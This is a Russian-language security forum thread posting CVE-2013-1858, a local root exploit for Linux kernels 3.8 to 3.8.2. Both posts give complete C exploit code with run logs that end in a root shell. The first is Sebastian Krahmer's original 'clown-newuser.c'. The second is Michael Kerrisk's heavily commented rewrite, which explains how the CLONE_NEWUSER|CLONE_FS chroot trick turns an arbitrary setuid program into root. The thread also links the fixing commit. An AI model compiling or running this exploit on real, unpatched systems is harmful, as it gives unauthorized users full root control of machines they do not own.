Старый 14.03.2013, 11:51   #1
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию CVE-2013-1858 Linux kernel CLONE_NEWUSER|CLONE_FS root exploit 3.8 — 3.8.2

Цитата:
The trick is to setup a chroot in your CLONE_NEWUSER,
but also affecting the parent, which is running
in the init_user_ns, but with the chroot shared.
Then its trivial to get a rootshell from that.

Tested on a openSUSE12.1 with a custom build 3.8.2 (x86_64).
Очередной малозначительный баг, связан с появившимися в 3.8 user_namespaces (похоже в них еще много багов найдут).

Автор - Sebastian Krahmer (@steaIth).

Цитата:
@grsecurity: Clone with one thread in a user ns, the other staying in init ns, both sharing task->fs (includes fs root)...
@grsecurity: Chroot inside user ns then affects thread outside user ns, with chroot set up with hardlinked su binary and exploit bin inside
@grsecurity: Exploit bin gets loaded with real suid root privilege, makes itself suid root for nice real root shell
Исправляющий коммит: https://git.kernel.org/cgit/linux/ke...20d1f2ca332c71


Код:
/* clown-newuser.c -- CLONE_NEWUSER kernel root PoC
 *
 * Dedicated to: Locke Locke Locke Locke Locke Locke Locke!
 *
 * This exploit was made on the 13.3.13.
 *
 * (C) 2013 Sebastian Krahmer
 *
 * We are so 90's, but we do 2013 xSports.
 *
 * Must be compiled static:
 *
 * stealth@linux-czfh:~> cc -Wall clown-newuser.c -static
 * stealth@linux-czfh:~> ./a.out
 * [**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer
 *
 * [+] Found myself: '/home/stealth/a.out'
 *[*] Parent waiting for boomsh to appear ...
 *[*] Setting up chroot ...
 * [+] Done.
 *[*] Cloning evil child ...
 * [+] Done.
 *[*] Creating UID mapping ...
 * [+] Done.
 * [+] Yay! euid=0 uid=1000
 * linux-czfh:/home/stealth # grep bin /etc/shadow
 * bin:*:15288::::::
 * linux-czfh:/home/stealth #
 *
 */
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>


int go[2];
char child_stack[1<<20];
extern char **environ;


void die(const char *msg)
{
	perror(msg);
	exit(errno);
}


int child(void *arg)
{
	char c;

	close(go[1]);
	read(go[0], &c, 1);

	setuid(0);

	/* this will also affect the parent, but the parent
	 * has the init_user_ns, so it will start suid with real uid 0.
	 */
	if (chdir("chroot") < 0)
		die("[-] chdir");
	if (chroot(".") < 0)
		die("[-] chroot");

	return 0;
}



int setup_chroot(const char *me)
{
	mkdir("chroot", 0755);
	mkdir("chroot/lib64", 0755);
	mkdir("chroot/bin", 0755);

	if (link(me, "chroot/lib64/ld-linux-x86-64.so.2") < 0)
		die("[-] link");
	if (link("/bin/su", "chroot/bin/su") < 0)
		die("[-] link");
	return 0;
}


int main(int argc, char *argv[])
{
	char *su[] = {"/bin/su", NULL};
	char *sh[] = {"/bin/bash", NULL};
	char me[256], *mee[] = {me, "1", NULL};
	char uidmap[128], map_file[128];
	pid_t pid;
	struct stat st;
	int fd;


	if (geteuid() == 0 && argc == 1) {
		/* this will run inside chroot, started as the ld.so from
		 * su process
		 */
		printf("[+] Yay! euid=%d uid=%d\n", geteuid(), getuid());
		chown("lib64/ld-linux-x86-64.so.2", 0, 0);
		chmod("lib64/ld-linux-x86-64.so.2", 04755);
		exit(0);
	} else if (geteuid() == 0) {
		/* this will run outside */
		setuid(0);
		execve(*sh, sh, environ);
		die("[-] execve");
	}

	printf("[**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer\n\n");

	memset(me, 0, sizeof(me));
	readlink("/proc/self/exe", me, sizeof(me) - 1);
	printf("[+] Found myself: '%s'\n", me);

	if (fork() > 0) {
		printf("[*] Parent waiting for boomsh to appear ...\n");
		for (;;) {
			stat(me, &st);
			if (st.st_uid == 0)
				break;
			usleep(1000);
		}
		execve(me, mee, environ);
		die("[-] execve");
	}

	printf("[*] Setting up chroot ...\n");
	setup_chroot(me);
	printf("[+] Done.\n[*] Cloning evil child ...\n");

	if (pipe(go) < 0)
		die("[-] pipe");

	pid = clone(child, child_stack + sizeof(child_stack),
	            CLONE_NEWUSER|CLONE_FS|SIGCHLD, NULL);
	if (pid == -1)
		die("[-] clone");

	printf("[+] Done.\n[*] Creating UID mapping ...\n");

	snprintf(map_file, sizeof(map_file), "/proc/%d/uid_map", pid);
	if ((fd = open(map_file, O_RDWR)) < 0)
		die("[-] open");
	snprintf(uidmap, sizeof(uidmap), "0 %d 1\n", getuid());
	if (write(fd, uidmap, strlen(uidmap)) < 0)
		die("[-] write");
	close(fd);
	printf("[+] Done.\n");

	close(go[0]);
	write(go[1], "X", 1);

	waitpid(pid, NULL, 0);
	execve(*su, su, NULL);
	die("[-] execve");
	return -1;
}
SynQ вне форума   Ответить с цитированием
Старый 28.03.2013, 12:13   #2
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Подробное описание работы эксплойта на LWN

Оттуда же переписанный эксплойт с добавлением развернутых комментариев:
Код:
/*The program below demonstrates a security vulnerability in the Linux 3.8 implementation of user namespaces. That vulnerability is already fixed in Linux 3.9 (and stable kernel 3.8.3). The following shell script shows an example run of this program:

    $ uname -sr
    Linux 3.8.0
    $ cc -static -Wall userns_exploit.c -o userns_exploit
    $ cp userns_exploit /tmp        # On same filesystem as /bin/fusermount
    $ cd /tmp
    $ ls -l --numeric-uid-gid --inode /bin/fusermount /tmp/userns_exploit | 
        awk '{printf "%6d %s %5d %5d  %s\n", $1, $2, $4, $5, $NF}'
    172255 -rwsr-xr-x.     0     0  /bin/fusermount
      8169 -rwxr-xr-x.  1000  1000  /tmp/userns_exploit
    $ ./userns_exploit /bin/fusermount
    PID 18583: / inode is 2
    PID 18583: path of this executable is: '/tmp/userns_exploit'
    PID 18583: waiting for "/tmp/userns_exploit" to become setuid-root
            PID 18584: child continues after fork()
            PID 18584: setting up chroot directory tree
            PID 18584: link("/bin/fusermount", "chroot/suid-root")
            PID 18584: link("/tmp/userns_exploit", "chroot/lib64/ld-linux-x86-64.so.2")
            PID 18584: created chroot tree:
                    172255  755 s     0     0  chroot/suid-root
                      8169  755    1000  1000  chroot/lib64/ld-linux-x86-64.so.2
            PID 18584: clone() returned PID = 18594
            PID 18584: calling waitpid()
                    PID 18594: clone child started
                    PID 18594: / inode is 2
                    PID 18594: finished chroot()
                    PID 18594: / inode is 788413 (chrooted)
                    PID 18594: exiting
            PID 18584: waitpid() complete
            PID 18584: / inode is 788413 (chrooted)
            PID 18584: execve a set-user-ID root program: /suid-root
            PID 18584:         ... passes control to dynamic linker (PHASE 2)
            PID 18584: PHASE 2 =====> execed with geteuid() == 0 && argc == 1
            PID 18584: / inode is 788413 (chrooted)
            PID 18584: make /lib64/ld-linux-x86-64.so.2 setuid-root
            PID 18584: state of chroot tree:
                    172255  755 s     0     0  ./suid-root
                      8169  755 s     0     0  ./lib64/ld-linux-x86-64.so.2
            PID 18584: exiting
    PID 18583: "/tmp/userns_exploit" is now setuid-root
    PID 18583: / inode is 2
    PID 18583: execve(/tmp/userns_exploit) (starts PHASE 3)
    PID 18583: PHASE 3 =====> execed with geteuid() == 0 && argc == 2
    PID 18583: / inode is 2
    PID 18583: rUID: 1000   eUID: 0   
    PID 18583: calling setuid(0)
    PID 18583: rUID: 0      eUID: 0   
    PID 18583: / inode is 2
    PID 18583: execve: /bin/bash
    bash$ id -u
    0

At the end of the above output, we see that a bash shell has been fired up, and the effective ID of the shell is 0. An unprivileged user has gained full root privileges.
*/
/* userns_exploit.c

   (C) Copyright 2013, Michael Kerrisk

   Licensed under the GNU General Public License version 2 or later.

   This program is very much inspired by Sebastian Krahmer's
   clown-newuser.c. Sebastian did all the heavy intellectual lifting.
   This program conducts the same exploit, but does so in well commented
   and well instrumented form, to ease understanding of what goes on.

   Sebastian's original program can be found at
   http://stealth.openwall.net/xSports/clown-newuser.c
   and his blog post on the exploit can be found at
   http://c-skills.blogspot.de/2013/03/clonenewuser-trickery.html

   The basis of the exploit is that Linux 3.8 allows the combination
   clone(CLONE_NEWUSER | CLONE_FS), which creates a situation where two
   processes are in different user namespaces but share their root
   directory attribute. By executing an arbitrary set-user-ID-root program
   (i.e., not one over whose operation we have any control) and employing
   some chroot(2) trickery, we can engineer a situation where *this*
   program is executed as the dynamic linker for the set-user-ID-root
   program. This leads to full root escalation from an unprivileged login.

   Linux 3.9 will already close this loophole by denying
   clone(CLONE_NEWUSER | CLONE_FS). The loophole is also closed in stable
   kernel 3.8.3.

   This program must be statically linked against glibc:

        cc userns_root_exploit.c -static
*/
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sched.h>
#include <stdarg.h>
#include <fcntl.h>
#include <string.h>
#include <limits.h>
#include <errno.h>
#include <ftw.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>

#define errExit(msg)    do { perror(msg); exit(EXIT_FAILURE); \
                           } while (0)

extern char **environ;

#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];

/* Log a message to stdout, indented using 'prefix' and with PID of caller */

static void
logmsg(char *prefix, const char *format, ...)
{
    va_list arg_list;

    printf("%sPID %ld: ", prefix, (long) getpid());

    va_start(arg_list, format);
    vprintf(format, arg_list);
    va_end(arg_list);
}

/* Display credentials of caller, along with inode of root directory */

static void
display_status(char *prefix)
{
    struct stat sb;

    if (stat("/", &sb) == -1)
        errExit("stat");

    logmsg(prefix, "/ inode is %ld", (long) sb.st_ino);

    /* The true root directory always has i-node 2. If / does not
       have inode 2, then we're inside a chroot jail; print a string
       indicate that. */

    if (sb.st_ino != 2)
        printf(" (chrooted)");
    printf("\n");
}

/* Called by nftw() for each node in a directory subtree. Display the
   following information about regular files: inode number,
   permissions (octal), set-user-ID flag, UID, GID, and pathname*/

static int
traverse_file(const char *pathname, const struct stat *sb, int type,
                      struct FTW *ftwb)
{
    if (S_ISREG(sb->st_mode))
        printf("\t\t%6ld  %3o %c %5d %5d  %s\n",
                (long) sb->st_ino, sb->st_mode & 0777,
                (sb->st_mode & S_ISUID) ? 's' : ' ',
                sb->st_uid, sb->st_gid, pathname);

    return 0;                   /* Tell nftw() to continue */
}

/* Traverse directory tree 'path' displaying information about regular
   files in the tree. */

static void
display_file_tree(char *path)
{
    nftw(path, traverse_file, 20, 0);
}

/* Start function for child of clone().

   Call chroot() to change the root directory. Because the child
   was created with CLONE_FS, the root directory of the parent
   process is also changed. However, the parent is still in the
   initial user namespace; therefore if it executes a
   set-user-ID-0 program, it will get an effective UID 0. */

static int
clone_child(void *arg)
{

    usleep(10000);      /* Just avoid confused intermingling of output */
    logmsg("\t\t", "clone child started\n");
    display_status("\t\t");

    /* Change the root directory. This affects the parent process,
       since it shares the root directory attribute. */

    if (chdir("chroot") == -1)
        errExit("chdir");
    if (chroot(".") == -1)
        errExit("chroot");

    logmsg("\t\t", "finished chroot()\n");
    display_status("\t\t");

    logmsg("\t\t", "exiting\n");
    return 0;
}

/* Create a chroot file tree.

   'self_path' is the pathname of this program (userns_chroot_exploit).
   'suid_path' is the path of an arbitrary set-user-ID-root program
   on the system to be exploited. */

static void
create_chroot_tree(const char *self_path, char *suid_path)
{
    logmsg("\t", "setting up chroot directory tree\n");

    /* Create directories */

    if (mkdir("chroot", 0755) == -1)
        errExit("mkdir 1");
    if (mkdir("chroot/lib64", 0755) == -1)
        errExit("mkdir 2");

    /* Link an arbitrary set-user-ID-root executable ('suid_path')
       to a location inside the tree.

       Note that this link() call will fail on systems where the
       /proc/sys/fs/protected_hardlinks file is set nonzero. That
       setting is designed to prevent exploits like this one. The
       default value in this file is 0 on vanilla kernels, but
       some distributions set it nonzero by default.

       The link() call will also fail if the two pathnames
       are on different file systems. Nothing new there,
       but it's an easy error to encounter when trying to link
       to set-user-ID-root programs in /usr/bin, for example. */

    logmsg("\t", "link(\"%s\", \"chroot/suid-root\")\n", suid_path);
    if (link(suid_path, "chroot/suid-root") == -1)
        perror("link suid_path");

    /* Within the chroot directory, link the userns_chroot_exploit
       executable to /lib64/ld-linux-x86-64.so.2, the path where the
       'suid-root' program will look for a dynamic linker.  (This
       pathname is architecture dependent; here we assume x86-64.) */

    logmsg("\t", "link(\"%s\", \"chroot/lib64/ld-linux-x86-64.so.2\")\n",
            self_path);
    if (link(self_path, "chroot/lib64/ld-linux-x86-64.so.2") == -1)
        errExit("link self_path");

#if 0
#endif

    /* For informational purposes, show the resulting chroot tree */

    logmsg("\t", "created chroot tree:\n");
    display_file_tree("chroot");
}

/* Prepare the exploit. Create and populate a directory tree to be used
   as a chroot jail. Then create a clone child that is in a different
   user namespace but shares the root directory attribute. That
   child will then do a chroot() into the jail; that chroot()
   call will also affect the caller of clone(). */

static void
prepare_the_exploit(char *self_path, char *suid_path)
{
    pid_t pid;

    create_chroot_tree(self_path, suid_path);

    /* Create a clone() child that resides in a new user namespace but
       shares the filesystem information (root directory, current working
       directory, umask) with the parent process.*/

    pid = clone(clone_child, child_stack + sizeof(child_stack),
                CLONE_NEWUSER | CLONE_FS | SIGCHLD, NULL);
    if (pid == -1)
        errExit("clone");

    logmsg("\t", "clone() returned PID = %ld\n", (long) pid);

    /* Wait for child to finish its work and terminate */

    logmsg("\t", "calling waitpid()\n");
    if (waitpid(pid, NULL, 0) == -1)
        errExit("waitpid");
    logmsg("\t", "waitpid() complete\n");
}

int
main(int argc, char *argv[])
{

    setbuf(stdout, NULL);       /* Make stdout unbuffered */

    /* In all, this program will be executed three times, once for each
       branch in the following if () {} else if () {} else {}.
       The if-logic distinguishes the three phases of the exploit. */

    if (geteuid() != 0) {

        /* PHASE 1: We are in the initial user namespace,
           and have no privileges.

           Do a fork() to create parent and child processes.

           The child prepares the exploit, and then executes a
           set-user-ID-root program that has been hard linked into
           a chroot jail. The environment of that program has been
           engineered so that instead of executing the true dynamic
           linker, it instead executes a program of our own choosing:
           well choose this program (userns_chroot_exploit) as the
           dynamic linker. Consequently, userns_chroot_exploit will
           run with true UID 0 (full privileges), and will carry out
           PHASE 2 of the exploit.

           Meanwhile the parent sits in a loop waiting until the
           userns_chroot_exploit executable file is made set-user-ID-root
           (a step performed by PHASE 2), and then re-executes the
           executable. */

        char self_path[PATH_MAX];
        pid_t pid;

        display_status("");

        /* Introspect via /proc/self/exe to obtain pathname of
           executable being run in this process */

        memset(self_path, 0, sizeof(self_path));
        readlink("/proc/self/exe", self_path, sizeof(self_path) - 1);
        logmsg("", "path of this executable is: '%s'\n", self_path);

        pid = fork();
        if (pid == -1)
            errExit("fork");

        if (pid == 0) {         /* Child */

            char *suid_argv[] = { "/suid-root", NULL };

            logmsg("\t", "child continues after fork()\n");

            prepare_the_exploit(self_path, argv[1]);

            /* At this point, we are inside the chroot jail (because the
               clone child did a chroot() and the two processes share the
               root directory attribute). Now execute a set-user-ID-root
               program. Since we are in the *initial* user namespace
               the program will gain the true UID 0. Even though we didn't
               have any special control of the set-user-ID-root program,
               we have put it in a chroot environment where we *do* control
               the dynamic linker that it will employ. That dynamic linker
               is another instance of the userns_chroot_exploit program,
               executed with different command-line arguments--it will be
               run as true UID 0. This is the critical step in gaining root
               privileges on the system. */

            display_status("\t");

            logmsg("\t", "execve a set-user-ID root program: %s\n",
                    suid_argv[0]);
            logmsg("\t", "\t... passes control to dynamic linker (PHASE 2)\n");

            execve(suid_argv[0], suid_argv, NULL);
            errExit("execve");

        } else {                /* Parent */

            /* The parent has a distinct root directory attribute from the
               child and the clone child, and so is unaffected by the
               chroot() call in the clone child. */

            char *self_argv[] = { self_path, "1", NULL };
            struct stat sb;

            /* Wait until the pathname of the executable being run by this
               program has been made set-user-ID-root, then execute it. */

            logmsg("", "waiting for \"%s\" to become setuid-root\n",
                    self_path);

            for (;;) {  /* Poll file state at intervals */
                if (stat(self_path, &sb) == -1)
                    errExit("stat");
                if (sb.st_uid == 0 && (sb.st_mode & S_ISUID))
                    break;
                usleep(10000);
            }

            logmsg("", "\"%s\" is now setuid-root\n", self_path);
            display_status("");

            /* Now reexecute userns_chroot_exploit; since that executable
               is now set-user-ID-root, we now gain full root privileges. */

            logmsg("", "execve(%s) (starts PHASE 3)\n", self_path);

            execve(self_path, self_argv, environ);
            errExit("execve");
        }

    } else if (geteuid() == 0 && argc == 1) {

        /* PHASE 2:
           We are inside the chroot jail, running with true UID 0.

           We can't break out of the jail, but since we are true UID 0,
           we can create a set-user-ID-root executable. We make the dynamic
           linker inside the jail set-user-ID-root and then terminate.
           During PHASE 1, the dynamic linker path was created as a link
           to the userns_chroot_exploit executable, so this step has the
           effect of making that executable (which is *outside* the chroot
           jail) set-user-ID-root. */

        logmsg("\t", "PHASE 2 =====> "
                "execed with geteuid() == 0 && argc == 1\n");

        display_status("\t");
        logmsg("\t", "make /lib64/ld-linux-x86-64.so.2 setuid-root\n");

        chown("lib64/ld-linux-x86-64.so.2", 0, 0);
        chmod("lib64/ld-linux-x86-64.so.2", 04755);

        /* For informational purposes, redisplay the file tree in
           the chroot jail, so that we can see the changes that have
           been wrought. */

        logmsg("\t", "state of chroot tree:\n");
        display_file_tree(".");

        logmsg("\t", "exiting\n");
        exit(EXIT_SUCCESS);

    } else {

        /* PHASE 3:
           We are outside the chroot jail, inside the initial user
           namespace, running with true UID 0. All the hard work has
           been done; all we need now is a shell running as root. */

        char *shell_argv[] = { "/bin/bash", NULL };

        /* Sanity check: the program logic dictates that our
           effective UID must be zero here, but double check. */

        if (geteuid() != 0) {
            fprintf(stderr, "Unexpected execution environment\n");
            exit(EXIT_SUCCESS);
        }

        logmsg("", "PHASE 3 =====> "
                "execed with geteuid() == 0 && argc == %d\n", argc);

        display_status("");

        /* At this stage, we have an effective user ID of 0, but our
           real user ID is still nonzero. Many shells (rightly) view
           that constellation with suspicion, and when they detect
           it on start-up, they reset the effective UID to be the
           same as the real UID. bash(1) is no exception. Therefore,
           we have to ensure that the real user ID is also made 0
           before executing bash. */

        logmsg("", "rUID: %-4ld   eUID: %-4ld\n",
                (long) getuid(), (long) geteuid());

        logmsg("", "calling setuid(0)\n");

        if (setuid(0) == -1)
            errExit("setuid");

        logmsg("", "rUID: %-4ld   eUID: %-4ld\n",
                (long) getuid(), (long) geteuid());
        display_status("");

        /* Now we can run a full shell as root */

        logmsg("", "execve: %s\n", shell_argv[0]);

        execve(shell_argv[0], shell_argv, environ);
        errExit("execve");
    }
}
SynQ вне форума   Ответить с цитированием
Ответ

Метки
exploit, kernel, linux

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot